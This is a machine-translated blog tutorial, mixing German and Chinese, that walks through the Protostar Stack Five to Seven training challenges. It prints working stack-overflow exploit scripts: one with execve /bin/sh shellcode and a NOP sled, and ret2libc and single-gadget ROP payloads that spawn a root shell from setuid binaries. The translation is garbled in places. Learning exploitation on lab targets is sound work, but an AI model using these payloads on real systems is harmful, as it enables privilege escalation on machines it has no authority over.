Die binäre Sicherheits-Virtual-Machine Protostar Shooting Range (4) schreibt Shellcode, ret an libc und erstellt die ROP-Kette Stack Five, Stack Six, Stack Seven

Fügen Sie hier eine Bildbeschreibung ein

Vorwort

Dies ist eine Artikelserie. Ich habe bereits einige Grundkenntnisse der binären Sicherheit eingeführt, daher werde ich sie hier nicht wiederholen. Studenten, die damit nicht vertraut sind, können die Artikel lesen, die ich zuvor geschrieben habe.

二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO
https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501
二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two
https://blog.csdn.net/qq_45894840/article/details/132688653?spm=1001.2014.3001.5501
二进制安全虚拟机Protostar靶场(3)溢出控制程序指针,基础知识讲解 Stack Three,Stack Four
https://blog.csdn.net/qq_45894840/article/details/132720953?spm=1001.2014.3001.5501

Stapel fünf

Statische Programmanalyse

https://exploit.education/protostar/stack-five/

Fügen Sie hier eine Bildbeschreibung ein

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Dieses Programm ist sehr einfach, mit nur zwei Zeilen. Es akzeptiert nur unsere Eingaben.

Zeit einstellen

Was ist setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

Das ist etwas kompliziert, geben wir ein Beispiel

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

Demonstration
Wir führen ein vim als Benutzer user aus
und öffnen dann ein neues Fenster, um den Hintergrundprozess anzuzeigen

ps -aux

Fügen Sie hier eine Bildbeschreibung ein
Wie Sie hier sehen können, läuft unser vim mit Benutzerberechtigungen. Dann führen wir die Setuid-Datei auf dem Zielcomputer aus und werfen einen Blick darauf.
Fügen Sie hier eine Bildbeschreibung ein
Wie Sie hier sehen können, obwohl wir sind Benutzer user, aber nach der Ausführung der Datei läuft die Datei mit Root-Berechtigungen
Wir prüfen die Berechtigungen der Datei
Fügen Sie hier eine Bildbeschreibung ein
r steht für lesen, w steht für schreiben, und x steht für Ausführung, dann Was ist s

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

Wenn dieses Bit von einem Benutzer mit Benutzerrechten ausgeführt wird, läuft Linux tatsächlich mit den Rechten des Erstellers der Datei, in diesem Fall mit Root-Rechten
Unser Ziel ist es, diese Dateien zu knacken und Root-Rechte zu erlangen

Was ist Stapel?

Stellen Sie sich einen Stapel wie einen Stapel Bücher vor. Sie können neue Bücher darauf legen und die obersten Bücher herausnehmen.

Während ein Programm ausgeführt wird, verwendet es den Stapel, um Funktionsaufrufe und Variablenwerte zu verfolgen. Jedes Mal, wenn Sie eine Funktion aufrufen, erstellt der Computer einen neuen „Rahmen“ (genau wie ein Buch) auf dem Stapel, um die lokalen Variablen der Funktion und einige Informationen zur Ausführungszeit zu speichern. Wenn die Funktion abgeschlossen ist, wird der Rahmen vom Stapel entfernt, genau wie das Entfernen eines Buches.

Der Stapel ist normalerweise „last in first out“, was bedeutet, dass die letzten Daten, die auf den Stapel gelegt werden, als erste herausgenommen werden. Dies liegt daran, dass Stapeloperationen sehr schnell und effizient sind und daher häufig zur Verwaltung von Funktionsaufrufen und zur Verfolgung des Programmausführungsflusses verwendet werden.

Warum sollten wir die ret-Absenderadresse überschreiben?

Das Überschreiben der ret-Rücksprungadresse ist eine Computerangriffstechnik, mit der Angreifer den Pfad der Programmausführung ändern. Der Vorgang ähnelt dem Ersetzen eines Verkehrsschilds oder einer Navigationsanweisung durch Ihre eigenen Anweisungen, sodass das Programm dort ausgeführt wird, wo Sie es haben möchten.

Stellen Sie sich vor, Sie fahren an einer Kreuzung und das Schild fordert Sie auf, nach links abzubiegen, um Ihr Ziel zu erreichen. Ein Angreifer könnte jedoch stillschweigend das Schild so ändern, dass Sie glauben, Sie müssten rechts abbiegen. Wenn Sie diesem getarnten Straßenschild folgen, landen Sie dort, wo der Angreifer Sie haben möchte, und nicht an Ihrem ursprünglichen Ziel.

In einem Computer wird der Pfad der Programmausführung normalerweise durch eine Rücksprungadresse gesteuert, die dem Computer mitteilt, wo er nach Abschluss der Funktion mit der Ausführung des Codes fortfahren soll. Ein Angreifer kann diese Rücksprungadresse ändern, um das Programm zu zwingen, zu einem von ihm angegebenen Ort zu springen, bei dem es sich normalerweise um einen Schadcode und nicht um normalen Programmcode handelt.

Erhalten Sie die Rücksendeadresse

Öffnen Sie das Programm mit gdb und legen Sie einen Haltepunkt fest, an dem der Leave-Befehl ausgeführt wird.

Fügen Sie hier eine Bildbeschreibung ein

Führen Sie das Programm aus, geben Sie einige Zeichen ein und überprüfen Sie dann den Stapelstatus

x/100wx $esp

Fügen Sie hier eine Bildbeschreibung ein

Öffnen Sie außerdem eine Remote-Verbindungsschnittstelle, öffnen Sie das Programm mit gdb und legen Sie einen Haltepunkt fest, an dem der Befehl ret ausgeführt wird.

Fügen Sie hier eine Bildbeschreibung ein

Führen Sie das Programm auf der zweiten Terminalschnittstelle aus, geben Sie einige zufällige Zeichen ein und führen Sie dann den Befehl ret aus, um die Adresse zu überprüfen, an die das Programm springt.

Fügen Sie hier eine Bildbeschreibung ein

Fügen Sie hier eine Bildbeschreibung ein

Berechnungen zufolge benötigen wir 80 Zeichen, um die Rücksprungadresse von ret vollständig abzudecken, und fügen dann unseren Shellcode in den Steuerdatenstapel ein

Fügen Sie hier eine Bildbeschreibung ein

Nein, Anleitung

Der NOP-Befehl ist ein spezieller Maschinenbefehl, der bei der Ausführung im Computer keine Wirkung hat. Einfach ausgedrückt ist der NOP-Befehl eine „keine Operation“. Er ändert den Zustand des Computers nicht, hat keinen Einfluss auf den Wert des Registers und führt keine Berechnungen oder Sprünge durch.

Um zu verhindern, dass unser Shellcode beeinträchtigt wird, können wir vor dem Shellcode-Code einige Nop-Anweisungen hinzufügen.

Skripterstellung

import struct

padding = "A" * 76
eip = struct.pack("I",0xbffff7c0)
nopnop = "\x90"*64
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"

print padding+eip+nopnop+payload

Legen Sie zuerst ein 76-Bit-Müllzeichen fest und konvertieren Sie dann mit der Pack-Funktion des Strukturmoduls eine vorzeichenlose Ganzzahl (I stellt eine vorzeichenlose Ganzzahl dar) in Binärdaten um, springen Sie zum Steuerdatenstapel und schreiben Sie schließlich die NOP-Anweisung und den Shellcode Code, den Shellcode-Code finden Sie auf dieser Website

http://shell-storm.org/shellcode/files/shellcode-811.html

Fügen Sie hier eine Bildbeschreibung ein

Dies ist ein Shellcode, der /bin/sh auf der Linux-x86-Architektur ausführt

Wenn wir das Skript direkt ausführen, erhalten wir /bin/sh nicht.

Fügen Sie hier eine Bildbeschreibung ein

Tatsächlich wurde /bin/sh ausgeführt, aber es gibt keine Eingabe. Wir können den Befehl cat verwenden, um zur Standardeingabe und -ausgabe umzuleiten.

Fügen Sie hier eine Bildbeschreibung ein

 (python stack5exp.py ; cat) | /opt/protostar/bin/stack5

Fügen Sie hier eine Bildbeschreibung ein

Programm erfolgreich geknackt

Stapel Sechs und Stapel Sieben

Der Quellcode von Stack Six und Stack Seven ist derselbe. Sie können die Shell über ret to libc erhalten.

Statische Programmanalyse

Fügen Sie hier eine Bildbeschreibung ein

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()   //定义一个名为getpath的函数
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);  //输出字符串input path please: 

  gets(buffer);  //获取用户输入,将输入存储到buffer函数变量里

  ret = __builtin_return_address(0);   //获取ret返回的内存地址

  if((ret & 0xbf000000) == 0xbf000000) {   //如果内存地址的前两位是0xbf
    printf("bzzzt (%p)\n", ret);  //输出bzzzt
    _exit(1);
  }

  printf("got path %s\n", buffer);  //输出got path
}

int main(int argc, char **argv)  //主函数
{
  getpath();  //调用getpath函数
}

Zurück zu libc

Ret to libc überschreibt die Rücksprungadresse des Programms mit der Adresse einer Funktion in der Standard-C-Bibliothek, beispielsweise der Funktion „system“. Mit dieser Funktion können Systembefehle ausgeführt werden. Anschließend erstellt der Angreifer einen gültigen Parameter wie „/bin/sh“ und übergibt ihn an die Funktion „system“, um die Shell zu erhalten

Suchen Sie die Systemfunktionsadresse und die Zeichenfolge /bin/sh

Öffnen Sie das Programm mit gdb und setzen Sie einen Haltepunkt an der Adresse, an der die Funktion getpath die Leave-Anweisung ausführt.

disassemble getpath
b *0x080484f8

Fügen Sie hier eine Bildbeschreibung ein

Geben Sie nach dem Ausführen des Programms nach Belieben einige Zeichenfolgen ein und suchen Sie dann nach der Adresse der Systemfunktion.

r
p system

Fügen Sie hier eine Bildbeschreibung ein

Die Systemfunktionsadresse lautet: 0xb7ecffb0. Wir haben die Systemfunktionsadresse gefunden. Jetzt müssen wir den String finden, der es der Systemfunktion ermöglicht, den Befehl auszuführen. Um die Shell zu erhalten, suchen wir nach „/bin/sh“ Zeichenfolge.

Was ist Speicherzuordnung?

Bei der Speicherzuordnung handelt es sich um eine in Betriebssystemen und Computerarchitekturen übliche Technik, mit der die Inhalte von Dateien oder anderen Geräten dem Adressraum eines Prozesses zugeordnet werden, sodass der Prozess auf die Inhalte zugreifen kann, als wären sie Speicher.

Was ist die libc-Bibliothek?

Beim Kompilieren eines Programms müssen wir eine Funktion aufrufen. Um die Größe des Programms zu reduzieren, kompilieren wir die Datei normalerweise dynamisch. Wenn das Programm eine Funktion aufruft, sucht es diese in der angegebenen libc-Bibliothek und führt sie aus.

Führen Sie i proc-Zuordnungen aus, um die Programmspeicherzuordnung anzuzeigen

Fügen Sie hier eine Bildbeschreibung ein

Die libc-Bibliothek von Stack6 lautet: /lib/libc-2.11.2.so, und die Basisadresse von libc lautet: 0xb7e97000

Öffnen Sie nun ein neues Terminal und suchen Sie die Adresse der Zeichenfolge /bin/sh in der libc-Bibliothek.

strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"

Fügen Sie hier eine Bildbeschreibung ein

Die Offset-Adresse der Zeichenfolge /bin/sh lautet: 1176511, die Basisadresse von libc + die Offset-Adresse der Zeichenfolge = die vollständige Adresse der Programmaufrufzeichenfolge

Finden Sie die Größe des Programmüberlaufs

Sehen Sie sich den Hauptfunktionscode an

disassemble main

Fügen Sie hier eine Bildbeschreibung ein

Nachdem das Programm die Funktion getpath aufgerufen hat, gibt es 0x08048505 zurück, um mit der Ausführung der nächsten Anweisung fortzufahren, das Programm erneut auszuführen, einige zufällige Zeichen einzugeben und dann den Stapelstatus zu überprüfen

Fügen Sie hier eine Bildbeschreibung ein

Die von uns eingegebene Zeichenfolge ist 80 Bytes von 0x08048505 entfernt. Über 0x08048505 befindet sich eine weitere 0x08048505. Das ist nur ein gewöhnlicher Wert. Wenn das Programm zur Hauptfunktion zurückkehrt, werden andere Systemfunktionen aufgerufen, daher ist die nächste die getpath-Funktion ret . Hauptfunktionswert

Jetzt können wir ein Skript schreiben, um das Programm zu knacken

import struct

buffer = "A"*80   //覆盖到ret地址的函数

system = struct.pack("I",0xb7ecffb0)  //system地址
ret = "AAAA"  //在执行system函数时,会调用一个返回地址,这里随意输入一些字符,下图解释

shellcode = struct.pack("I",0xb7e97000+1176511)  ///bin/sh字符串地址

payload = buffer +system+ ret + shellcode
print payload

Beim Ausführen der Systemfunktion wird eine Rücksprungadresse aufgerufen. Sie können nach Belieben einige Zeichen eingeben und dann wird die Zeichenfolge „/bin/sh“ ausgeführt.

Fügen Sie hier eine Bildbeschreibung ein

Führen Sie das Programm aus und erhalten Sie erfolgreich Root-Berechtigungen

Fügen Sie hier eine Bildbeschreibung ein

Stapel sieben

Die Programmquellcodes von Stack Seven und Stack Six sind sehr ähnlich, der Beurteilungswert ist jedoch geändert.

Fügen Sie hier eine Bildbeschreibung ein

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()   //定义一个名为getpath的函数
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);  //输出字符串input path please: 

  gets(buffer);  //获取用户输入,将输入存储到buffer函数变量里

  ret = __builtin_return_address(0);   //获取ret返回的内存地址

  if((ret & 0xb0000000) == 0xb0000000) {   //如果内存地址的前一位是0xb
    printf("bzzzt (%p)\n", ret);  //输出bzzzt
    _exit(1);
  }

  printf("got path %s\n", buffer);  //输出got path
}

int main(int argc, char **argv)  //主函数
{
  getpath();  //调用getpath函数
}

Wir müssen nur die Adresse einer weiteren ret-Anweisung hinzufügen, damit das Programm an die Stelle zurückkehren kann, die wir für die Ausführung der Systemfunktion und des /bin/sh-Strings angegeben haben.

Ret-Adresse finden

Wir können das objdump-Tool verwenden, um die Adresse der ret-Anweisung zu finden

objdump -D stack7 | grep ret

Fügen Sie hier eine Bildbeschreibung ein

Hier gibt es viele Adressen für Ret-Anweisungen. Wir können einfach eine auswählen und mit dem Schreiben des Skripts beginnen.

Das Skript ist das gleiche wie bei Stapel 6. Sie müssen nur eine Ret-Anweisungsadresse hinzufügen.

import struct

buffer = "A"*80

ret_addr = struct.pack("I", 0x8048383)
system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"

shellcode = struct.pack("I",0xb7e97000+1176511)

payload = buffer + ret_addr +system+ ret + shellcode
print payload

Fügen Sie hier eine Bildbeschreibung ein

Root-Rechte erfolgreich erhalten

Supongo que te gusta

Origin blog.csdn.net/qq_45894840/article/details/134028680
Recomendado
Clasificación